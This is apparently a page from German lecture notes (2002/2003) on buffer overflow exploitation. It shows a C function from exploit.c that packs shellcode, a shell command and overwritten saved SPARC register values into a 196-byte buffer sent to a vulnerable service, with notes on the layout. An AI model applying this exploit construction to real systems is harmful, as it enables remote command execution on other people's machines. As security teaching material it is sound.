Zusammenstellung der Buffer-Eingabe

 [Vorheriges Kapitel]  [Vorherige Seite]  [Inhaltsverzeichnis]  [Nächste Seite]

exploit.c
void fillbuffer(int fd, char * command) {
   char buffer[196]; int i; ssize_t nbytes;
   bzero(buffer, sizeof(buffer));
   bcopy(code, buffer, CODESIZE);
   bcopy(command, buffer + CODESIZE, strlen(command) + 1);
   bcopy(links, buffer + sizeof buffer - 8, 8);
   if ((nbytes = write(fd, buffer, sizeof buffer))
         != sizeof buffer) {
      fprintf(stderr, "unable to send exploit buffer\n");
   }
}

*128 Bytes für name, 4 Bytes ungenutzter Raum und 64 Bytes für die gesicherten Register ergeben insgesamt 196 Bytes.
 
*An den Anfang kommt des zu füllenden Buffers kommt der auszuführende Code.
 
*Damit wir flexibel sind, führt der Code einen exec-Systemaufruf auf mit dem Shell-Kommando, das wir dahinter ablegen.
 
*Zuletzt legen wir die Werte für die Sicherungskopien von %i6 und %i7 fest.
 
*Bliebe der Wert für %i6 auf 0, dann käme es zum Crash, bevor %i7 verwendet wird.
 

 [Vorheriges Kapitel]  [Vorherige Seite]  [Inhaltsverzeichnis]  [Nächste Seite]
Copyright © 2002,2003 Andreas F. Borchert, in HTML konvertiert am 11.02.2003